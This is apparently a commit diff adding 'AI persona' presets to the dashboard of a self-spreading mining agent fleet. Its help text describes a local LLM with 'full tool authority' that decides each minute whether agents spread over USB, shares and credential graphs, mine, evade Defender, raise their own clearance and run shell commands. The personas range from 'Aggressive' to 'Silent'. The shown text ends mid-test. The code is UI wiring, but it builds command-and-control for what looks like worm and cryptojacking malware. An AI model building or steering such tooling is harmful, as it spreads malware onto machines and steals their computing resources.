Add Calibrate AI persona presets with per-mode system prompts
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@@ -3,6 +3,11 @@ import type { ServerSettings } from '../types';
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import { api } from '../api/client';
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import { HelpTip, FieldHint } from './HelpTip';
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import { ADAPTIVE_STRATEGY_HELP } from '../help/lotlOnionTiers';
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import {
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AI_PERSONA_CHIPS,
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DEFAULT_AI_PERSONA,
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normalizeAIPersona,
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} from '../help/aiPersonas';
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export const DEFAULT_AI_LOCAL_ENDPOINT = 'http://127.0.0.1:11434/v1';
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export const DEFAULT_AI_INTERVAL_SEC = 60;
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@@ -25,6 +30,7 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
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const endpoint = readEndpoint(server);
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const model = server.ai_model?.trim() || '';
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const intervalSec = readIntervalSec(server);
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const persona = normalizeAIPersona(server.ai_persona);
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const [models, setModels] = useState<string[]>([]);
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const [refreshing, setRefreshing] = useState(false);
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@@ -87,6 +93,31 @@ export default function CalibrationAIControl({ server, onUpdate }: Props) {
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<em>your</em> machines only. Complete fleet control stays on your LAN.
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</p>
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<div className="form-group">
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<span className="label">AI persona</span>
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<div
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className="calibration-persona-chips"
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role="group"
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aria-label="AI persona preset"
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>
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{AI_PERSONA_CHIPS.map((chip) => (
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<div key={chip.id} className="calibration-persona-chip-wrap">
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<button
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type="button"
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className={`calibration-persona-chip${persona === chip.id ? ' calibration-persona-chip--selected' : ''}`}
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style={{ ['--chip-accent' as string]: chip.color }}
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aria-pressed={persona === chip.id}
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onClick={() => onUpdate('server.ai_persona', chip.id)}
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>
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<span className="calibration-persona-chip-label">{chip.label}</span>
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</button>
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<HelpTip field={chip.helpField} />
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</div>
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))}
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</div>
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<FieldHint field="ai_persona" />
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</div>
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<div className="form-group">
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<label htmlFor="cal-ai-endpoint" className="label">
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Local API URL <HelpTip field="ai_local_endpoint" />
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60
server/web/src/help/aiPersonas.ts
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60
server/web/src/help/aiPersonas.ts
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@@ -0,0 +1,60 @@
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/** Calibrate AI Control persona presets — distinct LLM system prompt modes. */
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export type AIPersonaId = 'aggressive' | 'silent' | 'passive' | 'persuasive' | 'balanced';
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export const AI_PERSONA_IDS: AIPersonaId[] = [
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'aggressive',
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'silent',
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'passive',
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'persuasive',
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'balanced',
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];
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export const DEFAULT_AI_PERSONA: AIPersonaId = 'balanced';
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export interface AIPersonaChip {
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id: AIPersonaId;
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label: string;
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helpField: string;
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color: string;
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}
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export const AI_PERSONA_CHIPS: AIPersonaChip[] = [
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{
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id: 'aggressive',
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label: 'Aggressive',
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helpField: 'ai_persona_aggressive',
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color: '#ff4466',
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},
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{
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id: 'silent',
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label: 'Silent',
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helpField: 'ai_persona_silent',
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color: '#6b8cff',
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},
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{
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id: 'passive',
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label: 'Passive',
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helpField: 'ai_persona_passive',
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color: '#88ccaa',
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},
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{
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id: 'persuasive',
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label: 'Persuasive',
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helpField: 'ai_persona_persuasive',
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color: '#e8a028',
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},
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{
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id: 'balanced',
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label: 'Balanced',
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helpField: 'ai_persona_balanced',
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color: '#00e8f5',
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},
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];
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export function normalizeAIPersona(value: string | undefined | null): AIPersonaId {
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const v = (value ?? '').trim().toLowerCase();
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if (AI_PERSONA_IDS.includes(v as AIPersonaId)) {
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return v as AIPersonaId;
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}
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return DEFAULT_AI_PERSONA;
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}
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@@ -19,6 +19,7 @@ const HELP_TIP_FIELDS = [
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'fusion_media_mode', 'fusion_batch', 'fusion_run_order', 'fusion_output_name',
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'obfuscate', 'sign_build', 'sigil_scramble', 'ai_enabled', 'ai_ollama_endpoint', 'ai_model',
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'calibration_ai_control', 'ai_local_endpoint', 'calibration_ai_model', 'ai_no_context', 'ai_interval_sec',
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'ai_persona', 'ai_persona_aggressive', 'ai_persona_silent', 'ai_persona_passive', 'ai_persona_persuasive', 'ai_persona_balanced',
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'adaptive_strategy', 'lotl_onion_tiers',
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'forge_operation_mode', 'forge_path_forge',
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'mesh_p2p', 'auto_spread', 'hole_punch', 'remote_aggressive', 'usb_spread', 'share_spread',
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@@ -87,6 +87,12 @@ export const DOC_ANCHORS: Record<string, string> = {
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calibration_ai_model: '/docs/#alerts-ai',
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ai_no_context: '/docs/#alerts-ai',
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ai_interval_sec: '/docs/#alerts-ai',
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ai_persona: '/docs/#alerts-ai',
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ai_persona_aggressive: '/docs/#alerts-ai',
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ai_persona_silent: '/docs/#alerts-ai',
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ai_persona_passive: '/docs/#alerts-ai',
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ai_persona_persuasive: '/docs/#alerts-ai',
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ai_persona_balanced: '/docs/#alerts-ai',
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adaptive_strategy: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
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lotl_onion_tiers: '/docs/SPREAD_TECHNIQUES.html#lotl-tier-vuln_recon',
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@@ -101,6 +101,16 @@ describe('FIELD_HELP', () => {
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'calibration_ai_model',
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'ai_no_context',
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'ai_interval_sec',
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'ai_auto_elevate_clearance',
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'fleet_phenotype',
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'failure_atlas',
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'ai_court_session',
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'ai_persona',
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'ai_persona_aggressive',
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'ai_persona_silent',
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'ai_persona_passive',
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'ai_persona_persuasive',
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'ai_persona_balanced',
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'self_healing',
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'firewall_exclusion',
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'firewall_remote',
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@@ -32,6 +32,14 @@ export const FIELD_HELP: Record<string, string> = {
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'Fleet adaptive strategy learns LOTL mining tier order from your own machines (OS, Docker/WSL probes, subnet, hashrate outcomes). On connect the server pushes a personalized tier walk with strategy_reasoning bullets before the agent tries the default onion. Overrides order/skip hints only — not wallet or patch_first gates. Toggle with server.adaptive_strategy_enabled (default on). When server.ai_control_enabled is on, Fleet AI Control replaces adaptive strategy for tier decisions.',
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lotl_onion_tiers:
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'Ordered spread contingency chain for LOTL Onion forges with lotl_policy_from_server. Mining tier order is separate (mining_tier_policy / adaptive_strategy). Spread tiers apply on reconnect without re-forge; adaptive strategy can reorder mining tiers proactively from fleet stats.',
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ai_auto_elevate_clearance:
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'When AI Control is on, the scheduler may raise an agent from L0–L3 to L4 when the host is stuck with all spread tiers failed — so court-ordered restart_mining and reorder_tiers can execute. Events appear in LOTL Timeline clearance history and Access Depth badge flash.',
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fleet_phenotype:
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'When one agent in a fingerprint bucket finds a winning spread+mining path, the server publishes a fleet phenotype. Sibling agents inherit tier_order and spread_lane on auth without re-forge — Access Depth and LOTL Timeline show "cloned from" badges.',
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failure_atlas:
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'Server-side failure atlas records conditioned tier failures (e.g. ps_inmemory under Defender on). After five failures it hard-skips subtrees in adaptive_strategy and pushes atlas_skips on agent auth. LOTL Timeline marks tiers skipped_by_atlas.',
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ai_court_session:
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'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
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calibration_ai_control:
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'Calibrate control mode: Logic gates use weighted adaptive strategy + server lotl_onion_tiers. AI Control routes fleet decisions through a local LLM on this control PC every 60s per agent — stateless, no memory, full tool authority on your machines only.',
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ai_local_endpoint:
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@@ -42,6 +50,18 @@ export const FIELD_HELP: Record<string, string> = {
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'Stateless AI mode — each 60s cycle sends only the current agent snapshot. No chat history or cross-agent memory is retained (always on for fleet safety).',
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ai_interval_sec:
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'Seconds between AI decision cycles per connected agent when AI Control is enabled. Default 60 — matches agent heartbeat cadence.',
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ai_persona:
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'Calibrate AI persona preset — shapes the LLM system prompt for fleet decisions. Aggressive maximizes spread+mine; Silent mines quietly; Passive observes; Persuasive spread-first; Balanced is default mission behavior.',
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ai_persona_aggressive:
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'Aggressive persona: take every spread and mine opportunity on your machines. Prioritize spread_now and discover_and_join each cycle, fast tier retries, and L4 clearance when stuck after tier exhaustion.',
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ai_persona_silent:
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'Silent persona: mine only with minimal spread. Never spread_now unless stuck after all 14 tiers; prefer container/wsl/docker. No shell agent_command unless clearance is high and hashrate stays zero.',
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ai_persona_passive:
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'Passive persona: observe and report mostly. Default noop unless hashrate=0 with exhausted chain (~10m stuck). Gentle restart_mining only — no aggressive spread or clearance elevation.',
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ai_persona_persuasive:
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'Persuasive persona: spread-first fleet growth. Attempt discover_and_join before restart_mining; probe join lanes and credential graph. Sell mining as fleet health after spread lanes succeed.',
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ai_persona_balanced:
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'Balanced persona: default mission prompt — balance spread vs mine, clearance-aware shell only when stuck, discover_and_join when join lanes are available.',
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forge_path_forge:
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'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
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forge_recommended_defaults:
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@@ -1358,6 +1358,52 @@ button.deliverable-card .form-hint {
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margin-top: 0.75rem;
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}
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.calibration-persona-chips {
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display: flex;
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flex-wrap: wrap;
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gap: 0.5rem;
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margin: 0.5rem 0 0.25rem;
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}
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.calibration-persona-chip-wrap {
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display: inline-flex;
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align-items: center;
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gap: 0.2rem;
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}
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.calibration-persona-chip {
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display: inline-flex;
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align-items: center;
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gap: 0.35rem;
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padding: 0.45rem 0.85rem;
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border-radius: 999px;
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border: 1px solid var(--border-brass);
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background: rgba(10, 10, 18, 0.65);
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color: var(--text-secondary);
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cursor: pointer;
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font-family: var(--font-tech);
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font-size: 0.82rem;
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letter-spacing: 0.05em;
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text-transform: uppercase;
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transition: border-color 0.2s ease, box-shadow 0.2s ease, background 0.2s ease;
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}
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.calibration-persona-chip:hover {
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border-color: color-mix(in srgb, var(--chip-accent, var(--neon-cyan)) 55%, transparent);
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background: rgba(0, 232, 245, 0.05);
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}
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.calibration-persona-chip--selected {
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border-color: var(--chip-accent, var(--neon-magenta));
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background: color-mix(in srgb, var(--chip-accent, var(--neon-magenta)) 14%, transparent);
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color: var(--text-primary);
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box-shadow: 0 0 18px color-mix(in srgb, var(--chip-accent, var(--neon-magenta)) 25%, transparent);
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}
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.calibration-persona-chip-label {
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line-height: 1;
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}
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.calibration-ai-meta {
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display: flex;
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flex-wrap: wrap;
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@@ -218,6 +218,34 @@ describe('SettingsPage (Calibrate)', () => {
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expect(saved?.server?.ai_no_context).toBe(true);
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});
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it('renders AI persona preset chips when AI Control is on', async () => {
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const user = userEvent.setup();
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renderSettings();
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await screen.findByRole('button', { name: /AI Control/i });
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await user.click(screen.getByRole('button', { name: /AI Control/i }));
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const group = screen.getByRole('group', { name: 'AI persona preset' });
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expect(within(group).getByRole('button', { name: 'Aggressive' })).toBeInTheDocument();
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expect(within(group).getByRole('button', { name: 'Silent' })).toBeInTheDocument();
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expect(within(group).getByRole('button', { name: 'Passive' })).toBeInTheDocument();
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expect(within(group).getByRole('button', { name: 'Persuasive' })).toBeInTheDocument();
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expect(within(group).getByRole('button', { name: 'Balanced' })).toHaveAttribute('aria-pressed', 'true');
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});
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it('saves selected ai_persona preset via updateConfig', async () => {
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const user = userEvent.setup();
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renderSettings();
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await screen.findByRole('button', { name: /AI Control/i });
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await user.click(screen.getByRole('button', { name: /AI Control/i }));
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const group = screen.getByRole('group', { name: 'AI persona preset' });
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await user.click(within(group).getByRole('button', { name: 'Aggressive' }));
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await user.click(screen.getByRole('button', { name: /save calibration/i }));
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await waitFor(() => {
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expect(api.updateConfig).toHaveBeenCalled();
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});
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const saved = vi.mocked(api.updateConfig).mock.calls.at(-1)?.[0];
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expect(saved?.server?.ai_persona).toBe('aggressive');
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});
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it('describes first-run admin credentials in Access Control help', async () => {
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renderSettings();
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expect(
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